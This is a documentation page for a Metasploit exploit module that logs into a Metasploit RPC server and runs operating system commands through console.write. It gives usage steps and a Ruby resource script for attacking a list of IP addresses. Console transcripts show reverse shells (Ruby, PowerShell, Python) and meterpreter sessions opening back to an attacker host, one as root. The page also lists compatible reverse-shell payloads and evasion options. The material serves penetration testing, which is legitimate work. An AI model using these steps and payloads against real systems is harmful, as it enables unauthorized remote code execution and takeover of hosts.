Metasploit RPC Console Command Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/misc/msf_rpc_console metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Metasploit RPC Console Command Execution
Module: exploit/multi/misc/msf_rpc_console
Source code: modules/exploits/multi/misc/msf_rpc_console.rb
Disclosure date: 2011-05-22
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Ruby, Unix, Windows
Target service / protocol: -
Target network port(s): 55552
List of CVEs: -

This module connects to a specified Metasploit RPC server and uses the 'console.write' procedure to execute operating system commands. Valid credentials are required to access the RPC interface. This module has been tested successfully on Metasploit 4.15 on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit 4.14 on Windows 7 SP1.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using msf_rpc_console against a single host

Normally, you can use exploit/multi/misc/msf_rpc_console this way:

msf > use exploit/multi/misc/msf_rpc_console
msf exploit(msf_rpc_console) > show targets
    ... a list of targets ...
msf exploit(msf_rpc_console) > set TARGET target-id
msf exploit(msf_rpc_console) > show options
    ... show and set options ...
msf exploit(msf_rpc_console) > exploit

Using msf_rpc_console against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your msf_rpc_console will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/misc/msf_rpc_console")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module connects to a specified Metasploit RPC server and uses the console.write procedure to execute operating system commands. Valid credentials are required to access the RPC interface.

Vulnerable Application


Metasploit is the world's most used penetration testing software. The RPC API can be used to programmatically drive the Metasploit Framework and Metasploit Pro products.

To start the RPC service, run msfrpcd -U msf -P abc123; or run load msgrpc ServerHost=0.0.0.0 ServerPort=55552 User=msf Pass=abc123 SSL=Y from within msfconsole.

This module has been tested successfully on:

  • Metasploit 4.15 on Kali 1.0.6
  • Metasploit 4.14 on Kali 2017.1
  • Metasploit 4.14 on Windows 7 SP1

Source and Installers:

Verification Steps


  1. Start msfconsole
  2. Do: use exploit/multi/misc/msf_rpc_console
  3. Do: set RHOST [IP]
  4. Do: set RPORT [PORT] (default: 55552)
  5. Do: set USERNAME [USERNAME] (default: msf)
  6. Do: set PASSWORD [PASSWORD]
  7. Do: set LHOST [IP]
  8. Do: run
  9. You should get a session

Options


Username

The username for Metasploit RPC (default: msf).

Password

The password for the RPC user.

Scenarios


Ruby Target

  msf > use exploit/multi/misc/msf_rpc_console 
  msf exploit(msf_rpc_console) > set rhost 172.16.191.166
  rhost => 172.16.191.166
  msf exploit(msf_rpc_console) > set username msf
  username => msf
  msf exploit(msf_rpc_console) > set password abc123
  password => abc123
  msf exploit(msf_rpc_console) > set lhost 172.16.191.181
  lhost => 172.16.191.181
  msf exploit(msf_rpc_console) > set target 0
  target => 0
  msf exploit(msf_rpc_console) > run

  [*] Started reverse TCP handler on 172.16.191.181:4444 
  [+] 172.16.191.166:55552 - Authenticated successfully
  [*] 172.16.191.166:55552 - Metasploit 4.14.28-dev
  [*] 172.16.191.166:55552 - Ruby 2.3.3 x64-mingw32 2016-11-21
  [*] 172.16.191.166:55552 - API version 1.0
  [+] 172.16.191.166:55552 - Created console #0
  [*] 172.16.191.166:55552 - Sending payload...
  [*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.166:52984) at 2017-07-05 03:40:50 -0400

  whoami
  win-sgbsd5tqutq\user

Windows CMD Target

  msf > use exploit/multi/misc/msf_rpc_console 
  msf exploit(msf_rpc_console) > set rhost 172.16.191.166
  rhost => 172.16.191.166
  msf exploit(msf_rpc_console) > set username msf
  username => msf
  msf exploit(msf_rpc_console) > set password abc123
  password => abc123
  msf exploit(msf_rpc_console) > set lhost 172.16.191.181
  lhost => 172.16.191.181
  msf exploit(msf_rpc_console) > set target 0
  target => 1
  msf exploit(msf_rpc_console) > set payload cmd/windows/powershell_reverse_tcp 
  payload => cmd/windows/powershell_reverse_tcp
  msf exploit(msf_rpc_console) > run

  [*] Started reverse SSL handler on 172.16.191.181:4444 
  [+] 172.16.191.166:55552 - Authenticated successfully
  [*] 172.16.191.166:55552 - Metasploit 4.14.28-dev
  [*] 172.16.191.166:55552 - Ruby 2.3.3 x64-mingw32 2016-11-21
  [*] 172.16.191.166:55552 - API version 1.0
  [+] 172.16.191.166:55552 - Created console #1
  [*] 172.16.191.166:55552 - Sending payload...
  [*] Powershell session session 2 opened (172.16.191.181:4444 -> 172.16.191.166:52996) at 2017-07-05 03:44:05 -0400

  Windows PowerShell running as user user on WIN-SGBSD5TQUTQ
  Copyright (C) 2015 Microsoft Corporation. All rights reserved.

  PS C:\metasploit>whoami
  win-sgbsd5tqutq\user

Unix CMD Target

  msf > use exploit/multi/misc/msf_rpc_console 
  msf exploit(msf_rpc_console) > set rhost 172.16.191.215
  rhost => 172.16.191.215
  msf exploit(msf_rpc_console) > set username msf
  username => msf
  msf exploit(msf_rpc_console) > set password abc123
  password => abc123
  msf exploit(msf_rpc_console) > set lhost 172.16.191.181
  lhost => 172.16.191.181
  msf exploit(msf_rpc_console) > set target 2
  target => 2
  msf exploit(msf_rpc_console) > set payload cmd/unix/reverse_python
  payload => cmd/unix/reverse_python
  msf exploit(msf_rpc_console) > run

  [*] Started reverse TCP handler on 172.16.191.181:4444 
  [+] 172.16.191.215:55552 - Authenticated successfully
  [*] 172.16.191.215:55552 - Metasploit 4.15.0-dev-aceeedc
  [*] 172.16.191.215:55552 - Ruby 2.3.0 x86_64-linux 2015-12-25
  [*] 172.16.191.215:55552 - API version 1.0
  [+] 172.16.191.215:55552 - Created console #0
  [*] 172.16.191.215:55552 - Sending payload...
  [*] Command shell session 3 opened (172.16.191.181:4444 -> 172.16.191.215:40768) at 2017-07-05 03:46:11 -0400

  id
  uid=0(root) gid=0(root) groups=0(root)

Go back to menu.

Msfconsole Usage


Here is how the multi/misc/msf_rpc_console exploit module looks in the msfconsole:

msf6 > use exploit/multi/misc/msf_rpc_console

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/misc/msf_rpc_console) > show info

       Name: Metasploit RPC Console Command Execution
     Module: exploit/multi/misc/msf_rpc_console
   Platform: Ruby, Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-05-22

Provided by:
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Ruby
  1   Windows CMD
  2   Unix CMD

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD                   yes       Password for the specified username
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     55552            yes       The target port (TCP)
  SSL       true             yes       Use SSL
  USERNAME  msf              yes       Username for Metasploit RPC

Payload information:
  Avoid: 1 characters

Description:
  This module connects to a specified Metasploit RPC server and uses 
  the 'console.write' procedure to execute operating system commands. 
  Valid credentials are required to access the RPC interface. This 
  module has been tested successfully on Metasploit 4.15 on Kali 
  1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit 4.14 on 
  Windows 7 SP1.

References:
  https://help.rapid7.com/metasploit/Content/api/rpc/overview.html
  https://community.rapid7.com/docs/DOC-1516

Module Options


This is a complete list of options available in the multi/misc/msf_rpc_console exploit:

msf6 exploit(multi/misc/msf_rpc_console) > show options

Module options (exploit/multi/misc/msf_rpc_console):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   yes       Password for the specified username
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     55552            yes       The target port (TCP)
   SSL       true             yes       Use SSL
   USERNAME  msf              yes       Username for Metasploit RPC

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Ruby

Advanced Options


Here is a complete list of advanced options supported by the multi/misc/msf_rpc_console exploit:

msf6 exploit(multi/misc/msf_rpc_console) > show advanced

Module advanced options (exploit/multi/misc/msf_rpc_console):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                15               no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/misc/msf_rpc_console module can exploit:

msf6 exploit(multi/misc/msf_rpc_console) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Ruby
   1   Windows CMD
   2   Unix CMD

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/msf_rpc_console exploit:

msf6 exploit(multi/misc/msf_rpc_console) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/ruby/pingback_bind_tcp                            normal  No     Ruby Pingback, Bind TCP
   6   payload/ruby/pingback_reverse_tcp                         normal  No     Ruby Pingback, Reverse TCP
   7   payload/ruby/shell_bind_tcp                               normal  No     Ruby Command Shell, Bind TCP
   8   payload/ruby/shell_bind_tcp_ipv6                          normal  No     Ruby Command Shell, Bind TCP IPv6
   9   payload/ruby/shell_reverse_tcp                            normal  No     Ruby Command Shell, Reverse TCP
   10  payload/ruby/shell_reverse_tcp_ssl                        normal  No     Ruby Command Shell, Reverse TCP SSL

Evasion Options


Here is the full list of possible evasion options supported by the multi/misc/msf_rpc_console exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/misc/msf_rpc_console) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

53:	
54:	  def execute_command(cmd, opts = {})
55:	    res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n"
56:	
57:	    if res.nil?
58:	      fail_with Failure::Unknown, 'Connection failed'
59:	    end
60:	
61:	    unless res['wrote'].to_s =~ /\A\d+\z/
62:	      print_error "Could not write to console #{@console_id}:"
63:	      print_line res.to_s

Could not write to console <CONSOLE_ID>


Here is a relevant code snippet related to the "Could not write to console <CONSOLE_ID>" error message:

57:	    if res.nil?
58:	      fail_with Failure::Unknown, 'Connection failed'
59:	    end
60:	
61:	    unless res['wrote'].to_s =~ /\A\d+\z/
62:	      print_error "Could not write to console #{@console_id}:"
63:	      print_line res.to_s
64:	      return
65:	    end
66:	
67:	    vprint_good "Wrote #{res['wrote']} bytes to console"

Connection refused


Here is a relevant code snippet related to the "Connection refused" error message:

69:	
70:	  def exploit
71:	    begin
72:	      @rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl
73:	    rescue Rex::ConnectionRefused => e
74:	      fail_with Failure::Unreachable, 'Connection refused'
75:	    rescue => e
76:	      fail_with Failure::Unknown, "Connection failed: #{e}"
77:	    end
78:	
79:	    res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']

Connection failed: <E>


Here is a relevant code snippet related to the "Connection failed: <E>" error message:

71:	    begin
72:	      @rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl
73:	    rescue Rex::ConnectionRefused => e
74:	      fail_with Failure::Unreachable, 'Connection refused'
75:	    rescue => e
76:	      fail_with Failure::Unknown, "Connection failed: #{e}"
77:	    end
78:	
79:	    res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']
80:	
81:	    if @rpc.token.nil?

Authentication failed


Here is a relevant code snippet related to the "Authentication failed" error message:

77:	    end
78:	
79:	    res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']
80:	
81:	    if @rpc.token.nil?
82:	      fail_with Failure::NoAccess, 'Authentication failed'
83:	    end
84:	
85:	    print_good 'Authenticated successfully'
86:	    vprint_status "Received temporary token: #{@rpc.token}"
87:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

86:	    vprint_status "Received temporary token: #{@rpc.token}"
87:	
88:	    version = @rpc.call 'core.version'
89:	
90:	    if res.nil?
91:	      fail_with Failure::Unknown, 'Connection failed'
92:	    end
93:	
94:	    print_status "Metasploit #{version['version']}"
95:	    print_status "Ruby #{version['ruby']}"
96:	    print_status "API version #{version['api']}"

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

97:	
98:	    vprint_status 'Creating new console...'
99:	    res = @rpc.call 'console.create'
100:	
101:	    if res.nil?
102:	      fail_with Failure::Unknown, 'Connection failed'
103:	    end
104:	
105:	    unless res['id'].to_s =~ /\A\d+\z/
106:	      print_error 'Could not create console:'
107:	      print_line res.to_s

Could not create console


Here is a relevant code snippet related to the "Could not create console" error message:

101:	    if res.nil?
102:	      fail_with Failure::Unknown, 'Connection failed'
103:	    end
104:	
105:	    unless res['id'].to_s =~ /\A\d+\z/
106:	      print_error 'Could not create console:'
107:	      print_line res.to_s
108:	      return
109:	    end
110:	
111:	    @console_id = res['id']

Invalid target


Here is a relevant code snippet related to the "Invalid target" error message:

119:	    when 'win'
120:	      cmd = payload.encoded
121:	    when 'unix'
122:	      cmd = payload.encoded
123:	    else
124:	      fail_with Failure::NoTarget, 'Invalid target'
125:	    end
126:	
127:	    execute_command cmd
128:	  end
129:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

132:	
133:	    vprint_status 'Removing console...'
134:	    res = @rpc.call 'console.destroy', @console_id
135:	
136:	    if res.nil?
137:	      print_error 'Connection failed'
138:	      return
139:	    end
140:	
141:	    unless res['result'].eql? 'success'
142:	      print_warning "Could not destroy console ##{@console_id}:"

Could not destroy console #<CONSOLE_ID>


Here is a relevant code snippet related to the "Could not destroy console #<CONSOLE_ID>" error message:

137:	      print_error 'Connection failed'
138:	      return
139:	    end
140:	
141:	    unless res['result'].eql? 'success'
142:	      print_warning "Could not destroy console ##{@console_id}:"
143:	      print_line res.to_s
144:	      return
145:	    end
146:	
147:	    vprint_good "Destroyed console ##{@console_id}"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


bcoles

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.